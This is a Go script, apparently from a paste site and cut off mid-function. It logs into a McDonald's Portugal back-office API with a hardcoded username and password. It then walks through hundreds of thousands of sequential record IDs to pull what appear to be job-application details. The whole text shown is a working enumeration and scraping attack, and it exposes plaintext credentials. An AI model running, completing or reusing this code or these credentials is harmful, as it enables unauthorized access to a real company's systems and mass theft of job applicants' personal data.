Untitled
unknown
plain_text
a year ago
2.3 kB
25
Indexable
Never
package main
import (
"fmt"
"log"
"net/http"
"net/http/cookiejar"
"net/url"
"strings"
"time"
"github.com/PuerkitoBio/goquery"
)
var numeroRequests = 0
var bolachaGlobal *http.Cookie
func loginAndSetCookies() {
numeroRequests = 0
jar, _ := cookiejar.New(nil)
client := &http.Client{
Jar: jar,
}
loginURL := "https://api.mcdonalds.pt/bo/Account/Login"
loginData := url.Values{
"username": {"fullsix"},
"password": {"PEARL05111115X"},
}
req, _ := http.NewRequest("POST", loginURL, strings.NewReader(loginData.Encode()))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
client.Do(req)
bolachaGlobal = jar.Cookies(req.URL)[0]
}
func main() {
loginAndSetCookies()
for id := 100897; id <= 446899; id++ {
numeroRequests++
if numeroRequests == 1500 {
loginAndSetCookies()
}
url := fmt.Sprintf("https://api.mcdonalds.pt/bo/Emprego/Details/%d", id)
req, err := http.NewRequest("GET", url, nil)
if err != nil {